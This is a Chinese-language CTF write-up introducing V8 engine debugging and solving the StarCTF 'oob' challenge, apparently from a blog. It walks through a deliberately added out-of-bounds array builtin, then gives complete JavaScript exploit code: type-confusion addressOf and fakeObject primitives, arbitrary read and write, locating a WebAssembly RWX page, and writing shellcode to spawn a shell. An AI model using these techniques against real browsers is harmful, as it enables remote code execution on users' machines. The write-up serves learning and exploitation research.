V8入门 && StarCTF oob

搭建环境的步骤如下:

环境搭建

#depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PATH":`pwd`/depot_tools #ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
export PATH="$PATH":`pwd`/ninja

编译v8

fetch  v8
#这个步骤需要开启代理
cd v8&& gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
#out.gn文件夹是最后输出的文件位置

当我们拿到题目,我们需要做的是

退回题目给的版本之后,再把补丁加在到v8码源中

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

调试方法

gdb配置

V8自带gdb调试命令,在/tools/目录下,可以找到gdbinit和gdb-v8-support.py。我将gdb-v8-support.py复制到了根目录下,然后修改自己的.gdbinit文件,将提供的gdbinit都复制过来。就可以在gdb中使用v8自带调试命令了。具体命令可以在gdbinit中自己查阅,注释还是很友好的

我的gdbinit文件

#source /home/lyyy/Desktop/pwndbg/gdbinit.py
source /home/lyyy/Desktop/tools/pwndbg/gdbinit.py
source /home/lyyy/Desktop/v8/tools/gdb-v8-support.py
source /home/lyyy/Desktop/tools/Pwngdb/angelheap/gdbinit.py
source /home/lyyy/Desktop/tools/Pwngdb/pwngdb.py
#source /home/lyyy/Desktop/tools/peda-heap/peda.py
set context-output /dev/pts/2
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end #v8 gdb define
# Print tagged object.
define job
call (void) _v8_internal_Print_Object((void*)($arg0))
end
document job
Print a v8 JavaScript object
Usage: job tagged_ptr
end # Print content of v8::internal::Handle.
define jh
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).location_))
end
document jh
Print content of a v8::internal::Handle
Usage: jh internal_handle
end # Print content of v8::Local handle.
define jlh
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).val_))
end
document jlh
Print content of a v8::Local handle
Usage: jlh local_handle
end # Print Code objects containing given PC.
define jco
call (void) _v8_internal_Print_Code((void*)($arg0))
end
document jco
Print a v8 Code object from an internal code address
Usage: jco pc
end # Print LayoutDescriptor.
define jld
call (void) _v8_internal_Print_LayoutDescriptor((void*)($arg0))
end
document jld
Print a v8 LayoutDescriptor object
Usage: jld tagged_ptr
end # Print TransitionTree.
define jtt
call (void) _v8_internal_Print_TransitionTree((void*)($arg0))
end
document jtt
Print the complete transition tree of the given v8 Map.
Usage: jtt tagged_ptr
end # Print JavaScript stack trace.
define jst
call (void) _v8_internal_Print_StackTrace()
end
document jst
Print the current JavaScript stack trace
Usage: jst
end # Skip the JavaScript stack.
define jss
set $js_entry_sp=v8::internal::Isolate::Current()->thread_local_top()->js_entry_sp_
set $rbp=*(void**)$js_entry_sp
set $rsp=$js_entry_sp + 2*sizeof(void*)
set $pc=*(void**)($js_entry_sp+sizeof(void*))
end
document jss
Skip the jitted stack on x64 to where we entered JS last.
Usage: jss
end # Print stack trace with assertion scopes.
define bta
python
import re
frame_re = re.compile("^#(\d+)\s*(?:0x[a-f\d]+ in )?(.+) \(.+ at (.+)")
assert_re = re.compile("^\s*(\S+) = .+<v8::internal::Per\w+AssertScope<v8::internal::(\S*), (false|true)>")
btl = gdb.execute("backtrace full", to_string = True).splitlines()
for l in btl:
match = frame_re.match(l)
if match:
print("[%-2s] %-60s %-40s" % (match.group(1), match.group(2), match.group(3)))
match = assert_re.match(l)
if match:
if match.group(3) == "false":
prefix = "Disallow"
color = "\033[91m"
else:
prefix = "Allow"
color = "\033[92m"
print("%s -> %s %s (%s)\033[0m" % (color, prefix, match.group(2), match.group(1)))
end
end
document bta
Print stack trace with assertion scopes
Usage: bta
end # Search for a pointer inside all valid pages.
define space_find
set $space = $arg0
set $current_page = $space->first_page()
while ($current_page != 0)
printf "# Searching in %p - %p\n", $current_page->area_start(), $current_page->area_end()-1
find $current_page->area_start(), $current_page->area_end()-1, $arg1
set $current_page = $current_page->next_page()
end
end define heap_find
set $heap = v8::internal::Isolate::Current()->heap()
printf "# Searching for %p in old_space ===============================\n", $arg0
space_find $heap->old_space() ($arg0)
printf "# Searching for %p in map_space ===============================\n", $arg0
space_find $heap->map_space() $arg0
printf "# Searching for %p in code_space ===============================\n", $arg0
space_find $heap->code_space() $arg0
end
document heap_find
Find the location of a given address in V8 pages.
Usage: heap_find address
end set disassembly-flavor intel
set disable-randomization off # Install a handler whenever the debugger stops due to a signal. It walks up the
# stack looking for V8_Dcheck and moves the frame to the one above it so it's
# immediately at the line of code that triggered the DCHECK.
python
def dcheck_stop_handler(event):
frame = gdb.selected_frame()
select_frame = None
message = None
count = 0
# limit stack scanning since they're usually shallow and otherwise stack
# overflows can be very slow.
while frame is not None and count < 5:
count += 1
if frame.name() == 'V8_Dcheck':
frame_message = gdb.lookup_symbol('message', frame.block())[0]
if frame_message:
message = frame_message.value(frame).string()
select_frame = frame.older()
break
if frame.name() is not None and frame.name().startswith('V8_Fatal'):
select_frame = frame.older()
frame = frame.older() if select_frame is not None:
select_frame.select()
gdb.execute('frame')
if message:
print('DCHECK error: {}'.format(message)) gdb.events.stop.connect(dcheck_stop_handler)
end

在使用gdb调试时需要开启allow-natives-syntax选项:

//方法一
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax //方法二
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js

可以直接在 js代码中使用%DebugPrint();以及%SystemBreak();下断点。%SystemBreak()其作用是在调试的时候会断在这条语句这里,%DebugPrint() 则是用来打印对象的相关信息,在debug版本下会输出很详细的信息。

job命令

用于可视化显示JavaScript对象的内存结构。

gdb下使用:job 对象地址

在resele版本中会报错

No symbol "_v8_internal_Print_Object" in current context.

V8 对象结构

V8 中的对象有如下属性:

map: 定义了如何访问对象
prototype: 对象的原型(如果有)
elements:对象的地址
length:长度
properties: 属性,存有map和length

分析:

对象里存储的数据是在elemnts指向的内存区域的,而且是在对象的上面。也即,在内存申请上,V8先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的elements指向了存储元素内容的内存地址。

map属性详解

对象的map (数组是对象)是一种数据结构,其中包含以下信息:

对象的动态类型,即 String,Uint8Array,HeapNumber 等
对象的大小,以字节为单位
对象的属性及其存储位置
数组元素的类型,例如 unboxed 的双精度数或带标记的指针
对象的原型(如果有)

属性名称通常存储在Map中,而属性值则存储在对象本身中几个可能区域之一中。然后,map将提供属性值在相应区域中的确切位置。

本质上,映射定义了应如何访问对象:

对于对象数组:存储的是每个对象的地址

对于浮点数组:以浮点数形式存储数值

所以,如果将对象数组的map换成浮点数组 -> 就变成了浮点数组,会以 浮点数的形式存储对象的地址;如果将对 浮点组的 map 换成对象数组 -> 就变成了对象数组,打印浮点数存储的地址。

对象和对象数组

也就是说,对象数组里面,存储的是别的对象的地址。

StarCTF oob

入门题目

漏洞分析

这里题目直接给出了一个 oob.diff文件,如下所示:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+} BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver(); // ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

我们可以通过这个diff文件里面看出他添加了什么内容,这个文件实际就是增加了一个oob函数,主要分为三部分:定义、实现和关联。

定义

为数组添加名为oob的内置函数(用于调用),内部调用的函数名是kArrayOob(实现oob的函数)

+    SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);

obb函数分析

参数处理:

uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
  • args.length() 获取传递给该内置函数的参数数量。
  • 如果参数数量超过2,则返回未定义值,这可能是为了限制该函数仅处理特定数量的参数。

将接收器对象转换为JSReceiver:

Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
  • Object::ToObject(isolate, args.receiver()) 将传入的接收器对象转换为一个JSReceiver对象,并将其赋值给 receiver 句柄。
  • ASSIGN_RETURN_FAILURE_ON_EXCEPTION 是一个宏,用于检查转换过程中是否发生异常,如果有异常则返回失败状态。

处理数组对象:

Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
  • Handle<JSArray>::cast(receiver) 将接收器对象 receiver 转换为 JSArray 类型的句柄。
  • array->elements() 获取数组的元素。
  • FixedDoubleArray::cast(...) 将数组的元素转换为 FixedDoubleArray 类型,这可能意味着该函数特别处理双精度浮点数数组。
  • array->length()->Number() 获取数组的长度并转换为 uint32_t 类型。

处理读取操作(当 len == 1 时):

cpp复制代码if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}
  • 当参数数量为1时,执行读取操作。
  • elements.get_scalar(length) 获取数组中索引为 length 的元素的值,并使用 NewNumber 将其包装为一个新的数字对象。

处理写入操作(当 len == 2 时):

cpp复制代码else {
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
  • 当参数数量为2时,执行写入操作。
  • Object::ToNumber(isolate, args.at<Object>(1)) 将第二个参数(索引为1)转换为数字类型。
  • elements.set(length, value->Number()) 将转换后的数字值写入数组中索引为 length 的位置。
  • 最后返回未定义值,表示写入操作完成。

那么这里就存在一个明显的数组越界,我们数组的下标应该是[0, length-1]。而这里我们能够修改arr[length]的值,那么就可以越界修改相邻的一个地址的值。也就是我们平时off by one

其实这个函数按照c语言的翻译来讲就是

len==1 return(arr[length])
len==2 return(arr[length]=data)

这个就是越界写了

漏洞利用

基础工具api编写

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

写个poc调试一下,这个题目主要还是用来熟悉调试过程,首先呢,我们创建数组然后调试查看一下内存

浮点数组的内存

var a = [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var c = [a, b]
%DebugPrint(c);
%SystemBreak();

接下来我们来调试观察一下内存中的布局

我们再来看看elements的存储

这个位置便是我们越界写的地方,这个位置是map的位置,紧挨着elements,我们可以跟进一下看看这个地方的结构

可以看到整个数组的JSArraymap类型是 紧邻在 element类型的下面的,也即上面的0x1c27e95c2ed9

那么结合漏洞点我们可以知道,我们就是通过这个越界写去修改map的地址

map的一个作用就是标识当前变量的 类型,那么这里我们就可以利用修改map来修改一些 变量的数据类型,达到类型混淆的作用。

我们去看看这个map所指向的地址与内存情况

对象数组的内存布局

那我们再看看对象数组的内存情况

var a = [1.1, 2,2];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2];
var c = [a, b];
console.log(c[0]);
%DebugPrint(c);
%SystemBreak();

在内存布局中其实是一致的,只是存储的是对象的地址

+---> elements +---> +---------------+
| | |
| +---------------+
| | |
| +---------------+ fakeObject +--------------+
| |fake_array[0] | +----------> | map |
| +---------------+ +--------------+ 想要 读 或 改 的
| |fake_array[1] | | prototype | 内 存
| +---------------+ +--------------+ +-------------+
| |fake_array[2] | | elements | +------> | |
| +---------------+ +--------------+ | |
| | | | | | |
| | | | | | |
| fake_array+--> +---------------+ | | | |
| | map | | | | |
| +---------------+ | | | |
| | prototype | +--------------+ | |
| +---------------+ | |
+--------------------+ elements | | |
+---------------+ | |
| length | | |
+---------------+ | |
| properties | | |
+---------------+ +-------------+

我们可以模拟我们的效果,c对象的map地址改成a的map,再进行输出,看看效果

我们需要将0x3414a684dee8 修改成为0x6aab1b02ed9

set {unsigned long long}  0x3414a684dee8 =0x6aab1b02ed9

可以看到解析错误,那我们就可以利用这一点来漏洞利用,笔者也是第一次接触v8架构的

我们使用oob来触发这个漏洞

var a = [1, 2, 3, 4];
%DebugPrint(a);
var data = a.oob();
console.log("[*] oob return data: "+data.toString());
a.oob(2);
%DebugPrint(a);
%SystemBreak();

泄露地址函数

之前的调试可以发现,如果是对象类型的数组,element存储的是对象地址,而如果是float类型的数组,element存储的便是浮点数,如果我们将对象类型的数组map值改成float的map值,那么就可以把对象数组当做float数组输出,原本存储在element中的地址就会被当做float输出,就可以做到泄露地址的效果

function leak(object)
{
obj_arr[0] = obj;
obj_arr.oob(float_array_map);//修改map值为float数组的map值
let obj_addr = f2i(obj_arr[0]-1n); //read obj[0] is obj_addr
obj_arr.oob(obj_array_map); //恢复object的map值
return obj_addr;
}

伪造对象辅助函数

泄露地址是将对象的map改变为浮点数的map,那么伪造对象辅助函数便是将float的map改变为对象的map,我们输入地址,通过对象的特性,就可以伪造为一个对象,最后再将map值恢复

function fakeObject(addr_to_fake)
{
float_arr[0] = i2f(addr_to_fake+1n);
float_arr.oob(obj_array_map); //修改map值
let fake_obj = float_arr[0]; //get fake_obj
float_arr.oob(float_array_map); //恢复map值
return fake_obj;
}

任意地址读写

按照上述分析,我们可以将一个地址伪造为对象,element如果可控的话,对象数组的element便是可控的指针,我们可以在element上布置我们想要改写的地址,通过数组便可以进行改写操作,从而实现任意地址写

对象结构

map
prototype
elements
length
properties

其实和泄露地址是一个道理了,类型混淆中去进行泄露,想要泄露某个地址,无疑就是将一个地址加入到一个类的element元素之中,利用类索引去将这个地址打印出来

任意地址读功能编写

首先呢,我们伪造一个类,其实就是类似于我们pwn中io的IOFILE结构体

var fake_array = [
float_array_map,//fake to be a float arr object
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];

这个fake_array是一个float的类,我们要让他被识别为一个float的对象,fake_arrry_map我们要放一个对象的map,那么我们存放在element里面的值就可以作为地址被解析

那么我们要获取他的地址,我们之前写了一个功能是解析类的地址的,但是我们获取到的是map的地址,我们要让他指向element,根据偏移,fake_array一共六个元素,一个元素一个字节,那么就是0x8*6=0x30,减去0x30就指向我们伪造的element的位置

var fake_arr_addr = leak(fake_array);
var fake_object_addr = fake_arr_addr - 0x30n

我们在将这个伪造的结构插入到对象中

var fake_object = fakeObject(fake_object_addr);

接下来呢,fake_object就是一个对象了,他的element第一个位置放的就是我们的fake_array,解析第一个对象就会解析fake_array,此时,fake_array的map是一个对象,那么就会把element当成一个地址去解析里面的内容,element是我们可控的,从而实现任意地址读,我们只需要修改fake_array的第三个元素即可

任意地址读的函数如下

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);//其实就是跟heap的chunk的道理一样,我们需要data区域的内容,但是申请的时候需要分配prev_size和size位,这里也是一样道理的,要去掉一个map和prototype的位置,需要提前减掉0x10
let leak_data = f2i(fake_object[0]);//解析第一个元素
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
任意地址写功能编写

其实跟写是一个道理的,我们只需要修改fake_object[0],一路解析就会解析到我们fake_array上我们布置的内存块了

function write64(addr,data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

命令执行

我们的目标是让程序执行shellcode。那我们首先得找到一个rwxp的内存区域来存放我们的shellcode。

wasw模版推导

wasw会在程序中开辟一段可读可写可执行的空间,我们可以将这块内存上的内容篡改成我们的shellcode

我们用gdb调试尝试去找一下存放WASM代码的地址

%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

通过调试我们可以发现

f的wasm instance和我们泄露的wasmInstance是一样的

我们看一下shared_info的内容

再看一下data域

可以发现f中shared_info中data中的instance就是wasmInstance,我们来查看一下内存

vmmap查看一下地址执行权限

有一个可读可写可执行的段

再查看一下instance中的信息

可以看到instance上有可读可写可执行段的地址,可以找到instance地址和可读可写可执行段的偏移。之后我们可以通过read找到instance地址通过偏移找到可读可写可执行段。再通过write函数将shellcode写入,wasm便可执行shellcode。

那么我们的思路便是,通过任意地址读将这个可读可写可执行段地址泄露到,然后利用我们的任意地址写功能,将shellcode写入到这个地址中去

其实也是跟pwn的思路相同了,将我们的shellcode写入到这个可读可写可执行的段中!

exp

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob(); // 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
]; // 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
//data_view任意写
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
} var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr)); var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr)); shellcode = [
0x91969dd1bb48c031n,
0x53dbf748ff978cd0n,
0xb05e545752995f54n,
0x50f3bn
]; var data_buf = new ArrayBuffer(32);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true); // trigger shellcode
f();

可以看到成功getshell了!

pwn V8入门的更多相关文章

  1. Linux下pwn从入门到放弃

    Linux下pwn从入门到放弃 0x0 简介 pwn,在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell. 虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行 ...

  2. ret2libc--ROP(pwn)漏洞入门分析

    背景知识 fflush 函数,清理缓冲区. fflush(stdout) 一次性输出以上缓冲区所有数据 read(0,&buf,0xAu) 0代表标准输入,标准输出1,标准错误2,&b ...

  3. 5m21d缓冲区溢出学习笔记

    mysql链接字符串函数 concat(str1,str2) concat_ws(separator,str1,str2....) group_concat(str1,str2....) mysql的 ...

  4. 见微知著(一):解析ctf中的pwn--Fast bin里的UAF

    在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...

  5. Asis_2016_b00ks wp

    目录 程序基本信息 程序漏洞 利用思路 exp脚本 参考 程序基本信息 程序漏洞 有一个读入函数,程序的所有输入都靠它读取,这个程序有个很明显的off_by_one漏洞,在输入时多输入一个0字符. 利 ...

  6. TIZ_c 第0周总结(2019/10/15-2019/10/22)工欲善其事必先利其器

    TIZ_c 第0周总结(2019/10/15-2019/10/22)工欲善其事必先利其器 任务清单 给自己取一个酷酷的id,并选择1-2个喜欢的方向.(只是初步选择,后期可更改) 改下群名片.例如yo ...

  7. BUUOJ Misc刷题大作战

    你竟然赶我走 随便一个txt文件都可以拿 LSB 当然还有别的,根据里面左右左右变化,在0管道有变化,然后把下面的三个0打钩,导出png,一个二维码,扫出来 乌镇峰会种图 只要会用winhex打开文件 ...

  8. V8编程入门

    本文档介绍了V8引擎的一些关键概念,并提供了例子hello world指引你入门. Hello World 让我们看一个Hello World的示例,它将一个字符串参数作为JavaScript语句,执 ...

  9. pwn入门之栈溢出练习

    本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...

  10. Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

    作者:Tangerine@SAINTSEC 本系列的最后一篇 感谢各位看客的支持 感谢原作者的付出一直以来都有读者向笔者咨询教程系列问题,奈何该系列并非笔者所写[笔者仅为代发]且笔者功底薄弱,故无法解 ...

随机推荐

  1. 一些八股:1.fetch 的理解。2.let、const、var

    一. 说说你对 Fetch 的理解,它有哪些优点和不足? Fetch API 是现代 JavaScript 中用于进行网络请求的接口,旨在替代传统的 XMLHttpRequest.它提供了一种更简单. ...

  2. 为什么unix新命名的文件夹自带双引号?

    检查文件夹名称是否含有单引号, 有单引号的文件夹名称会被自动加上双引号.

  3. 使用 onBeforeRouteLeave 组合式函数提升应用的用户体验

    title: 使用 onBeforeRouteLeave 组合式函数提升应用的用户体验 date: 2024/8/14 updated: 2024/8/14 author: cmdragon exce ...

  4. ollama搭建本地ai大模型并应用调用

    1.下载ollama 1)https://ollama.com 进入网址,点击download下载2)下载后直接安装即可. 2.启动配置模型 默认是启动cmd窗口直接输入 1 ollama run l ...

  5. Win32 状态栏用法

    WIN32 状态控件用法 1.创建控件 状态栏类名: STATUSCLASSNAME #define STATUSCLASSNAMEW        L"msctls_statusbar32 ...

  6. Axure 0基础实战入门 模拟一个app页面

    Axure 0基础实战入门 模拟一个app页面 第一次接触axure9,尝试模拟一个app页面与交互 页面原型 我选择了一个免费的日程app,下载rp文件后导入到axure 模拟实现登录页面 新建两个 ...

  7. 使用 Quickwit 的搜索流功能为 ClickHouse 添加全文搜索

    本指南将帮助您使用 Quickwit 的搜索流功能为知名的 OLAP 数据库 ClickHouse 添加全文搜索.Quickwit 暴露了一个 REST 端点,可以极快地(每秒最多 5000 万条)流 ...

  8. 设线性表中每个元素有两个数据项k1和k2,现对线性表按一下规则进行排序:先看数据项k1,k1值小的元素在前,大的在后;在k1值相同的情况下,再看k2,k2值小的在前,大的在后。满足这种要求的

    题目: 设线性表中每个元素有两个数据项k1和k2,现对线性表按一下规则进行排序:先看数据项k1,k1值小的元素在前,大的在后:在k1值相同的情况下,再看k2,k2值小的在前,大的在后.满足这种要求的排 ...

  9. SpringMVC的视图

    目录 ThymeleafView 转发视图 重定向视图 视图控制器view-controller SpringMVC中的视图是View接口,视图的作用渲染数据,将模型Model中的数据展示给用户Spr ...

  10. C++ 性能反向优化——用哈希表unordered_map消除if else导致性能降低。

    从代码整洁的角度考虑,对于不同的值将调用相同参数的不同函数,我们通常可以通过建立从值到对应函数指针的哈希表,从而将if else消除.但实际可能使性能更低,以下是测试例子. 原因在于,if else分 ...